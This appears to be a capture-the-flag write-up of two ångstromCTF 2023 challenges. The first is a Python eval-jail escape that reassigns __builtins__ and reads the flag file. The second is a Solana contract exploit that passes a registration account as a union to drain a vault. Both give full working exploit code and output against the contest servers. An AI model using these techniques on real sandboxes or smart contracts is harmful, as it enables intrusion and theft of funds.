I participated in ångstromCTF 2023, playing for the team Kalmarunionen. We ended up scoring first place, clearing the entire board of challenges in under 48 hours (out of the total runtime of 5 days).

This post is a continuation of part 1, see that post for more context.

Challenges

And in the other post:

Obligatory

The obligatory pyjail challenge:

#!/usr/local/bin/python
cod = input("sned cod: ")

if any(x not in "q(jw=_alsynxodtg)feum'zk:hivbcpr" for x in cod):
    print("bad cod")
else:
    try:
        print(eval(cod, {"__builtins__": {"__import__": __import__}}))
    except Exception as e:
        print("oop", e)

This accepts Python code from input, checks it against a character set, then evals it.

We're also given a Dockerfile that places a flag in the file system with a randomized filename:

FROM pwn.red/jail

COPY --from=python:3.10-slim-bullseye / /srv
COPY jail.py /srv/app/run
COPY flag.txt /srv/app/flag.txt

RUN mv /srv/app/flag.txt /srv/app/flag-$(head -c16 /dev/urandom | od -tx1 -An | tr -d ' ').txt
RUN chmod 755 /srv/app/run

ENV JAIL_MEM=20M

The main restriction here is the input code's character set: '():=_abcdefghijklmnopqrstuvwxyz

This excludes a lot of Python constructs:

  • No ., so we cannot call methods or access properties
  • No whitespace, so a lot of syntax won't work
  • No ,, so we cannot construct lists or call multi-argument functions
  • No [], so we cannot index or access properties that way either
  • No +, so we cannot do string concatenation

On top of that, we also lose all the Python builtin functions except __import__.

What we can do is reimport the builtins using __import__('builtins')... but we can't call any of them, because we don't have the . operator. But happens if we import builtins, then reassign that to the __builtins__ global?

$ nc challs.actf.co 31401
sned cod: __builtins__=__import('builtins') 
oop invalid syntax (<string>, line 1)

eval only evaluates a single expression, and assignments in Python are statements, not expressions... until Python 3.8 introduced the assignment expression.

So, with some clever use of parentheses and the and keyword, we can assign to __builtins__...

$ nc challs.actf.co 31401
sned cod: (__builtins__:=__import__('builtins'))and(__builtins__) 
<module 'builtins' (built-in)>

...and then get our functions back, right?

$ nc challs.actf.co 31401
sned cod: (__builtins__:=__import__('builtins'))and(open) 
oop name 'open' is not defined

or not. Maybe reassigning __builtins__ doesn't take effect until later? It works in the REPL, at least:

$ python
Python 3.10.10 (main, Mar  5 2023, 22:26:53) [GCC 12.2.1 20230201] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> __builtins__ = {"__import__": __import__}
>>> # we have now lost our open
>>> open
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'open' is not defined
>>> __builtins__ = __import__("builtins")
>>> # and it's back
>>> open
<built-in function open>
>>>

I wasn't able to find any documentation on specifically what's going wrong here, but it seems logical that the interpreter only evaluates __builtins__ once per evaluation, or per stack frame, or something.

So what if we try doing something a bit more complex, like creating a lambda and calling it?

$ nc challs.actf.co 31401
sned cod: (__builtins__:=__import__('builtins'))and(lambda:(open))()
<built-in function open>

Now, we can't just read out the flag directly. We don't have the . necessary to write flag.txt, and we didn't immediately find a way to construct the string in another way (we have chr(), but no numbers and no string concatenation).

But we do have eval and input, and the challenge just hands us stdin, so that gets us unrestricted code input. Then, we can simply list the current directory and read the second file (the first is just the program itself):

$ nc challs.actf.co 31401
sned cod: (__builtins__:=__import__('builtins'))and(lambda:(eval(input('pwn:'))))()
pwn:open(__import__('os').listdir()[1]).read()
actf{c0uln7_g3t_1t_7o_w0rk_0n_python39_s4dge}

The flag's correct, by the way:

$ docker run --rm -it -v "$(pwd):/app" python:3.9-slim-bullseye python /app/jail.py
sned cod: (__builtins__:=__import__('builtins'))and(lambda:(eval(input('pwn:'))))()
oop name 'eval' is not defined

It looks like the earliest version this works on is 3.10.0-alpha5, so presumably it has to do with some internal changes to eval in that version.

Sailor's Revenge

(solve by Astrid and shalaamum)

After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain!

Solana pwn! This was very much a learning experience for me, having never worked with blockchain/smartcontracts before, so this writeup will be a bit more in-depth.

This challenge is a "successor" to sailor from LACTF 2023, and writeups from that were very helpful here, even just in terms of "what does a solana pwn solution even look like".

Structure

The handout contains a sample solve script, a Dockerfile, two Rust projects (chall/ and server/), as well as sailors_revenge.so, which is a precompiled binary of chall/.

The server uses the sol_ctf_framework to set up a Solana environment. It then loads both sailors_revenge.so (the code in chall/), and a user-provided program from the network:

let mut builder = ChallengeBuilder::try_from(socket.try_clone()?)?;

let mut rng = StdRng::from_seed([42; 32]);

// put program at a fixed pubkey to make anchor happy
let prog = Keypair::generate(&mut rng);

// load programs
let solve_pubkey = builder.input_program()?;
builder
    .builder
    .add_program(prog.pubkey(), "sailors_revenge.so");

Then, it sets up the relevant accounts and keys:

// make user
let user = Keypair::new();
let rich_boi = Keypair::new();
let (vault, _) = Pubkey::find_program_address(&[b"vault"], &prog.pubkey());
let (sailor_union, _) =
    Pubkey::find_program_address(&[b"union", rich_boi.pubkey().as_ref()], &prog.pubkey());
let (registration, _) = Pubkey::find_program_address(
    &[
        b"registration",
        rich_boi.pubkey().as_ref(),
        user.pubkey().as_ref(),
    ],
    &prog.pubkey(),
);

writeln!(socket, "program: {}", prog.pubkey())?;
writeln!(socket, "user: {}", user.pubkey())?;
writeln!(socket, "vault: {}", vault)?;
writeln!(socket, "sailor union: {}", sailor_union)?;
writeln!(socket, "registration: {}", registration)?;
writeln!(socket, "rich boi: {}", rich_boi.pubkey())?;
writeln!(socket, "system program: {}", system_program::id())?;

const TARGET_AMT: u64 = 100_000_000;
const INIT_BAL: u64 = 1337;
const TOTAL_BAL: u64 = 1_000_000_000;
const VAULT_BAL: u64 = 500_000_000;

builder
    .builder
    .add_account_with_lamports(vault, system_program::id(), INIT_BAL)
    .add_account_with_lamports(rich_boi.pubkey(), system_program::id(), TOTAL_BAL)
    .add_account_with_lamports(user.pubkey(), system_program::id(), INIT_BAL);

In Solana, an account is identified by its public key (or address), and can hold both a currency balance (measured in lamports, which are units of 0.000000001 SOL) and arbitrary data.

The code here creates three accounts on the network:

  • a vault, with 1337 lamports
  • a "rich boi" user, with one billion lamports
  • a regular user, also with 1337 lamports

It also finds the addresses of, but does not per-se create, a "sailor union" and a "registration".

Here, both the regular user and the "rich boi" have proper ed25519 keypairs, and are identified by that keypair's public key. On the other hand, the vault, sailor union, and registration, are all "program addresses", which are effectively (deterministically generated) public keys with no corresponding private key, and as such, they cannot sign transactions.

With all that set up, the server executes two instructions on the challenge program:

let mut challenge = builder.build();

challenge.env.execute_as_transaction(
    &[Instruction::new_with_borsh(
        prog.pubkey(),
        &SailorInstruction::CreateUnion(VAULT_BAL),
        vec![
            AccountMeta::new(sailor_union, false),
            AccountMeta::new(rich_boi.pubkey(), true),
            AccountMeta::new(vault, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
    )],
    &[&rich_boi],
).print();

challenge.env.execute_as_transaction(
    &[Instruction::new_with_borsh(
        prog.pubkey(),
        &SailorInstruction::RegisterMember(user.pubkey().to_bytes()),
        vec![
            AccountMeta::new(registration, false),
            AccountMeta::new_readonly(sailor_union, false),
            AccountMeta::new(rich_boi.pubkey(), true),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
    )],
    &[&rich_boi],
).print();

(note: I added the print(); calls at the bottom myself so I get debug output locally - the challenge doesn't have this originally.)

The CreateUnion instruction creates a union at the address we got earlier, and transfers VAULT_BAL (500 million lamports) to the vault account from the union's authority (the "rich boi"). Then, RegisterMember creates a union registration for our regular user, also authorized and signed by the "rich boi".

Some relevant notes:

  • The vec![] of accounts can be thought of as the "arguments" to the instruction call (which is separate from the data in the actual SailorInstruction enum), and the instruction cannot "use" any accounts that weren't explicitly given in this list. This is why we need to find the keys for the union and registration accounts before we create them, as we need to pass them in here in order to let the instruction actually create those accounts.
  • The boolean argument to AccountMeta determines whether this account is passed in as a "signer" or not. This property is checked in the instruction handler, and is "threaded through" the chain of calls, so the instruction cannot, say, transfer money from an account that wasn't passed in as a "signer".
  • The last argument to execute_as_transaction is a list of keypairs that will actually be used to sign the transaction, and this has to match the list of accounts we're declaring as signers. This is also the account that will pay for the transaction fees.

Finally, it executes an instruction given by us, and checks whether we've successfully managed to siphon money into regular user account, and if so, dumps flag:

// run solve
challenge.input_instruction(solve_pubkey, &[&user])?.print();

// check solve
let balance = challenge
    .env
    .get_account(user.pubkey())
    .ok_or("could not find user")?
    .lamports;
writeln!(socket, "lamports: {:?}", balance)?;

if balance > TARGET_AMT {
    let flag = fs::read_to_string("flag.txt")?;
    writeln!(
        socket,
        "You successfully exploited the working class and stole their union dues! Congratulations!\nFlag: {}",
        flag.trim()
    )?;
} else {
    writeln!(socket, "That's not enough to get the flag!")?;
}

The input_instruction function has some magic in it, but effectively it reads a list of accounts (the vec discussed earlier) from input, then runs our program with some instruction data. It only signs the transaction with our regular user keypair, so we have to make do with those privileges.

The goal, then, is to write a program that, through exploiting calls to the challenge program, ends up transferring money into the user account.

Setup

The first thing we want is to build our own program we can exploit from, so let's make a new Rust project:

$ cargo new --lib solve
     Created library `solve` package
$ cd solve
$ cargo add borsh solana-program
    Updating crates.io index
      Adding borsh v0.10.3 to dependencies.
             Features:
             + std
             - bytes
             - const-generics
             - rc
      Adding solana-program v1.15.2 to dependencies.
    Updating crates.io index

Then we can throw some minimal boilerplate in src/lib.rs:

use solana_program::{
    account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, msg, pubkey::Pubkey,
};

entrypoint!(process_instruction);

pub fn process_instruction(
    _program_id: &Pubkey,
    _accounts: &[AccountInfo],
    _instruction_data: &[u8],
) -> ProgramResult {
    msg!("hello solana");

    Ok(())
}

We want it to build a .so file, so add this to the Cargo.toml:

[lib]
crate-type = ["cdylib", "rlib"]

Then, with the Solana CLI installed, we can build:

$ cargo build-bpf
Warning: cargo-build-bpf is deprecated. Please, use cargo-build-sbf
cargo-build-bpf child: /usr/sbin/cargo-build-sbf --arch bpf
   Compiling proc-macro2 v1.0.56
   Compiling unicode-ident v1.0.8
   Compiling [...too many goddamn transitive dependencies...]
   Compiling bincode v1.3.3
Error: Function _ZN14solana_program4vote5state9VoteState11deserialize17h1f28f623b95c7efcE Stack offset of 6344 exceeded max offset of 4096 by 2248 bytes, please minimize large stack variables
Error: Function _ZN229_$LT$solana_program..vote..state..vote_state_0_23_5.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$solana_program..vote..state..vote_state_0_23_5..VoteState0_23_5$GT$..deserialize..__Visitor$u20$as$u20$serde..de..Visitor$GT$9visit_seq17h618e8e90c854fb2aE Stack offset of 5752 exceeded max offset of 4096 by 1656 bytes, please minimize large stack variables
   Compiling solve2 v0.1.0 (/please/imagine/path/to/solve)        
    Finished release [optimized] target(s) in 58.20s

And this should, in theory, give us a nice little file in target/bpfel-unknown-unknown/release/solve.so, which we can point our solve.py to.

So with the Docker container running in the background (don't forget to echo '**/target' > .dockerignore to avoid a bad time):

$ python solve.py
[+] Opening connection to localhost on port 5000: Done
[*] Switching to interactive mode
lamports: 1337
That's not enough to get the flag!
[*] Got EOF while reading in interactive

We can see our message in the logs!

[...cut away a bunch of garbage from setup...]
Status: Ok
    Fee: ◎0
    Account 0 balance: ◎281474.976710656
    Account 1 balance: ◎0.000001337
    Account 2 balance: ◎0.500001337
    Account 3 balance: ◎0.00116928
    Account 4 balance: ◎0.00116928
    Account 5 balance: ◎1.16410176
    Account 6 balance: ◎0.49766144
    Account 7 balance: ◎0.000000001
    Account 8 balance: ◎0.25551552
  Log Messages:
    Program A8ZRfMqsK5N8934x7AMFisuCt8ptwxuArhKEKpeFnGoU invoke [1]
    Program log: hello solana
    Program A8ZRfMqsK5N8934x7AMFisuCt8ptwxuArhKEKpeFnGoU consumed 1454 of 200000 compute units
    Program A8ZRfMqsK5N8934x7AMFisuCt8ptwxuArhKEKpeFnGoU success

Calling a function

Now what can we do? It would be good to start with calling an instruction in the challenge program, so let's try paying our union dues:

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub enum SailorInstruction {
    CreateUnion(u64),
    PayDues(u64),
    StrikePay(u64),
    RegisterMember([u8; 32]),
}

pub fn process_instruction(
    _program_id: &Pubkey,
    accounts: &[AccountInfo],
    _instruction_data: &[u8],
) -> ProgramResult {
    msg!("hello solana");

    // Accounts passed in the same order as the list in solve.py
    let prog = accounts[0].clone();
    let user = accounts[1].clone();
    let vault = accounts[2].clone();
    let sailor_union = accounts[3].clone();
    let _registration = accounts[4].clone();
    let _rich_boi = accounts[5].clone();
    let _system_program = accounts[6].clone();

    invoke(&Instruction {
        program_id: *prog.key,
        accounts: vec![
            AccountMeta::new(*sailor_union.key, false),
            AccountMeta::new(*user.key, true),
            AccountMeta::new(*vault.key, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: SailorInstruction::PayDues(1).try_to_vec().unwrap()
    }, &[sailor_union, user, vault]).unwrap();

    Ok(())
}

Here, we're calling the challenge program by its key (*prog.key) and passing in a SailorInstruction::PayDues. This particular instruction takes four accounts, given in that order (this is clear from reading the source). We also need to pass the relevant AccountInfo objects in a separate array for a reason I still don't entirely understand, but if we don't do it, it won't work.

We're also just copying the SailorInstruction enum definition from chall/src/processor.rs - we don't need to depend on it directly as long as we can serialize to equivalent bytes - which the BorshSerialize derive takes care of for us (that's where try_to_vec comes from).

So if we run this and check the output:

$ python solve.py
[+] Opening connection to localhost on port 5000: Done
[*] Switching to interactive mode
lamports: 1336
That's not enough to get the flag!
[*] Got EOF while reading in interactive
[...]
  Log Messages:
    Program HfWaTrd7GYN1MRe8ezo2onS7khJdVZCzshRCYnhEDtdS invoke [1]
    Program log: hello solana
    Program HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu invoke [2]
    Program log: paying dues 1
    Program 11111111111111111111111111111111 invoke [3]
    Program 11111111111111111111111111111111 success
    Program HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu consumed 9595 of 196573 compute units
    Program HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu success
    Program HfWaTrd7GYN1MRe8ezo2onS7khJdVZCzshRCYnhEDtdS consumed 13474 of 200000 compute units
    Program HfWaTrd7GYN1MRe8ezo2onS7khJdVZCzshRCYnhEDtdS success

We can see that we did indeed invoke the program, and we've lost one entire lamport from our account. Awesome!

The challenge program

Let's give the instructions at our disposal a closer look, starting with create_union:

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct SailorUnion {
    available_funds: u64,
    authority: [u8; 32],
}

pub fn create_union(program_id: &Pubkey, accounts: &[AccountInfo], bal: u64) -> ProgramResult {
    msg!("creating union {}", bal);

    let iter = &mut accounts.iter();

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(sailor_union.is_writable);

    let authority = next_account_info(iter)?;
    assert!(authority.is_signer);
    assert!(authority.is_writable);
    assert!(authority.owner == &system_program::ID);

    let (sailor_union_addr, sailor_union_bump) =
        Pubkey::find_program_address(&[b"union", authority.key.as_ref()], program_id);
    assert!(sailor_union.key == &sailor_union_addr);

    let (vault_addr, _) = Pubkey::find_program_address(&[b"vault"], program_id);
    let vault = next_account_info(iter)?;
    assert!(!vault.is_signer);
    assert!(vault.is_writable);
    assert!(vault.owner == &system_program::ID);
    assert!(vault.key == &vault_addr);

    let system = next_account_info(iter)?;
    assert!(system.key == &system_program::ID);

    if authority.lamports() >= bal {
        transfer(&authority, &vault, bal, &[])?;
        let data = SailorUnion {
            available_funds: 0,
            authority: authority.key.to_bytes(),
        };
        let ser_data = data.try_to_vec()?;

        invoke_signed(
            &system_instruction::create_account(
                &authority.key,
                &sailor_union_addr,
                Rent::get()?.minimum_balance(ser_data.len()),
                ser_data.len() as u64,
                program_id,
            ),
            &[authority.clone(), sailor_union.clone()],
            &[&[b"union", authority.key.as_ref(), &[sailor_union_bump]]],
        )?;

        sailor_union.data.borrow_mut().copy_from_slice(&ser_data);
        Ok(())
    } else {
        msg!(
            "insufficient funds, have {} but need {}",
            authority.lamports(),
            bal
        );
        Err(ProgramError::InsufficientFunds)
    }
}

The create_union handler first does a bunch of checks on the accounts we're passing in. It validates both the address of the union and the vault that we give it, so we can't swap those out. It also makes sure that the union authority has signed the transaction, so we can't, say, register a union on behalf of someone else, and have them pay the union balance.

Once it gets past the checks, it transfers the initial funds to the vault, and creates a union account at the address we gave it. This account will hold a (borsh-serialized) SailorUnion struct in its data, which takes up 40 bytes, and keeps track of both the union's authority and its available funds.

In theory, there's nothing stopping us from registering our own union, although it's relatively annoying to do. We'd have to find the address of a union with our user's key as the authority, and thread that through solve.py to let us pass it into the program.

So let's try it (actual code exercise for reader etc), just to see what happens:

  Log Messages:
    Program 7vHEgUnSRfyAL7Jmm7asyev8wDDJ98beJQUSGt42JPG7 invoke [1]
    Program log: hello solana
    Program HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu invoke [2]
    Program log: creating union 1
    Program 11111111111111111111111111111111 invoke [3]
    Program 11111111111111111111111111111111 success
    Program 11111111111111111111111111111111 invoke [3]
    Transfer: insufficient lamports 1336, need 1169280
    Program 11111111111111111111111111111111 failed: custom program error: 0x1
    Program HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu consumed 13489 of 196404 compute units
    Program HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu failed: custom program error: 0x1 
    Program 7vHEgUnSRfyAL7Jmm7asyev8wDDJ98beJQUSGt42JPG7 consumed 17085 of 200000 compute units
    Program 7vHEgUnSRfyAL7Jmm7asyev8wDDJ98beJQUSGt42JPG7 failed: custom program error: 0x1 

While we successfully manage to pay one whole lamport into the vault, we're still short over a million lamport just in rent fees for storing the union's data on the chain, and it won't let us store the union on the chain. At the time of writing, it would cost us $0.00031 to store the required 40 bytes, which is approximately 7.75 million $/TB. That's almost cheaper than S3.

So, creating a union is no good. What about register_member?

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct Registration {
    balance: i64,
    member: [u8; 32],
}

pub fn register_member(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    member: [u8; 32],
) -> ProgramResult {
    msg!("register member {:?}", member);

    let iter = &mut accounts.iter();

    let registration = next_account_info(iter)?;
    assert!(!registration.is_signer);
    assert!(registration.is_writable);

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(!sailor_union.is_writable);
    assert!(sailor_union.owner == program_id);

    let authority = next_account_info(iter)?;
    assert!(authority.is_signer);
    assert!(authority.is_writable);
    assert!(authority.owner == &system_program::ID);

    let (registration_addr, registration_bump) = Pubkey::find_program_address(
        &[
            b"registration",
            authority.key.as_ref(),
            &member,
        ],
        program_id,
    );
    assert!(registration.key == &registration_addr);

    let system = next_account_info(iter)?;
    assert!(system.key == &system_program::ID);

    let data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
    assert!(&data.authority == authority.key.as_ref());

    let ser_data = Registration {
        balance: -100,
        member,
        // sailor_union: sailor_union.key.to_bytes(),
    }
    .try_to_vec()?;

    invoke_signed(
        &system_instruction::create_account(
            &authority.key,
            &registration_addr,
            Rent::get()?.minimum_balance(ser_data.len()),
            ser_data.len() as u64,
            program_id,
        ),
        &[authority.clone(), registration.clone()],
        &[&[
            b"registration",
            authority.key.as_ref(),
            &member,
            &[registration_bump],
        ]],
    )?;

    registration.data.borrow_mut().copy_from_slice(&ser_data);

    Ok(())
}

This one's pretty similar to the last one we looked at. It reads the union's data and makes sure the transaction is signed by the union's authority (ie. the account that created the union). Then, it creates a Registration on the chain containing the member that was registered - which isn't necessarily the union owner. Remember how the server registers our user as a member, while signing as the "rich boi" (who's the union authority).

So, we can only register a member if we're the owner of the union, and we're not, and there doesn't seem to be any way to trick this into doing anything interesting, either.

I'll skip ahead a bit and spoil that pay_dues isn't interesting either. It just transfers money from an account to the vault, and requires the source account to sign the transaction. We can pay our dues, as we did earlier, but nothing more.

Well, we only have one instruction left, and there's probably a good reason I'm saving that for last:

pub fn strike_pay(program_id: &Pubkey, accounts: &[AccountInfo], amt: u64) -> ProgramResult {
    msg!("strike pay {}", amt);

    let iter = &mut accounts.iter();

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(sailor_union.is_writable);
    assert!(sailor_union.owner == program_id);

    let member = next_account_info(iter)?;
    assert!(member.is_writable);
    assert!(member.owner == &system_program::ID);

    let authority = next_account_info(iter)?;
    assert!(authority.is_signer);
    assert!(authority.owner == &system_program::ID);

    let (vault_addr, vault_bump) = Pubkey::find_program_address(&[b"vault"], program_id);
    let vault = next_account_info(iter)?;
    assert!(!vault.is_signer);
    assert!(vault.is_writable);
    assert!(vault.owner == &system_program::ID);
    assert!(vault.key == &vault_addr);

    let system = next_account_info(iter)?;
    assert!(system.key == &system_program::ID);

    let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
    assert!(&data.authority == authority.key.as_ref());

    if data.available_funds >= amt {
        data.available_funds -= amt;
        transfer(&vault, &member, amt, &[&[b"vault", &[vault_bump]]])?;
        data.serialize(&mut &mut *sailor_union.data.borrow_mut())?;
        Ok(())
    } else {
        msg!(
            "insufficient funds, have {} but need {}",
            data.available_funds,
            amt
        );
        Err(ProgramError::InsufficientFunds)
    }
}

This one lets us pay money out of the union vault, and at first glance, it looks like the others. It checks the union's data to find the union's authority, and checks that that authority signed the transaction. So, only our rich boi can authorize a strike pay... right? Well,

The bug

Both register_member and strike_pay are missing a crucial check right about here:

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(sailor_union.owner == program_id);

    let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
    assert!(&data.authority == authority.key.as_ref());

Now, it does check that the account is owned by the program itself, and Solana already makes sure that only the owning program can modify an address's data, so we can't just mess with that (if anyone does find a way, promise to tell me first).

But... what if we gave it something other than a sailor union? Like, say, a registration. Well, it would just interpret that data as a SailorUnion struct and move along!

Recall that the structs in question look like this:

pub struct SailorUnion {
    available_funds: u64,
    authority: [u8; 32],
}

pub struct Registration {
    balance: i64,
    member: [u8; 32],
}

And that register_member initializes the Registration like this:

    let ser_data = Registration {
        balance: -100,
        member,
        // sailor_union: sailor_union.key.to_bytes(),
    }
    .try_to_vec()?;

If we "accidentally" interpreted our Registration as a SailorUnion, it would end up putting -100 in the available_funds field, and our user's address in the authority field. And since available_funds is a u64, we actually get a value of 18446744073709551516. Aren't types fun?

This means... we can withdraw however much from the vault as we goddamn please. One hundred million lamports should be enough.

The exploit

All this brings us to the delightfully simple exploit:

use borsh::{BorshSerialize, BorshDeserialize};
use solana_program::{
    account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, pubkey::Pubkey, instruction::{Instruction, AccountMeta}, system_program, program::invoke,
};

entrypoint!(process_instruction);

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub enum SailorInstruction {
    CreateUnion(u64),
    PayDues(u64),
    StrikePay(u64),
    RegisterMember([u8; 32]),
}

pub fn process_instruction(
    _program_id: &Pubkey,
    accounts: &[AccountInfo],
    _instruction_data: &[u8],
) -> ProgramResult {
    // Accounts passed in the same order as the list in solve.py
    let prog = accounts[0].clone();
    let user = accounts[1].clone();
    let vault = accounts[2].clone();
    let _sailor_union = accounts[3].clone();
    let registration = accounts[4].clone();
    let _rich_boi = accounts[5].clone();
    let _system_program = accounts[6].clone();

    invoke(&Instruction {
        program_id: *prog.key,
        accounts: vec![
            // sailor union? no. registration
            AccountMeta::new(*registration.key, false),

            // member (to transfer to) is us
            AccountMeta::new(*user.key, true),

            // authority is... also us :)
            AccountMeta::new(*user.key, true),

            AccountMeta::new(*vault.key, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: SailorInstruction::StrikePay(100_000_000).try_to_vec().unwrap()
    }, &[registration, user, vault]).unwrap();

    Ok(())
}

Let's point solve.py back to the live server, build, run, and cross our fingers:

$ cd solve/
$ cargo build-bpf
Warning: cargo-build-bpf is deprecated. Please, use cargo-build-sbf
cargo-build-bpf child: /usr/sbin/cargo-build-sbf --arch bpf
Error: Function _ZN14solana_program4vote5state9VoteState11deserialize17h1f28f623b95c7efcE Stack offset of 6344 exceeded max offset of 4096 by 2248 bytes, please minimize large stack variables
Error: Function _ZN229_$LT$solana_program..vote..state..vote_state_0_23_5.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$solana_program..vote..state..vote_state_0_23_5..VoteState0_23_5$GT$..deserialize..__Visitor$u20$as$u20$serde..de..Visitor$GT$9visit_seq17h618e8e90c854fb2aE Stack offset of 
5752 exceeded max offset of 4096 by 1656 bytes, please minimize large stack variables
   Compiling solve v0.1.0 (/please/imagine/path/to/solve)
    Finished release [optimized] target(s) in 3.00s
$ cd ..
$ python solve.py 
[+] Opening connection to challs.actf.co on port 31404: Done
[*] Switching to interactive mode
lamports: 100001337
You successfully exploited the working class and stole their union dues! Congratulations!
Flag: actf{maybe_anchor_can_kind_of_protect_me_from_my_own_stupidity}

🥳🥳🥳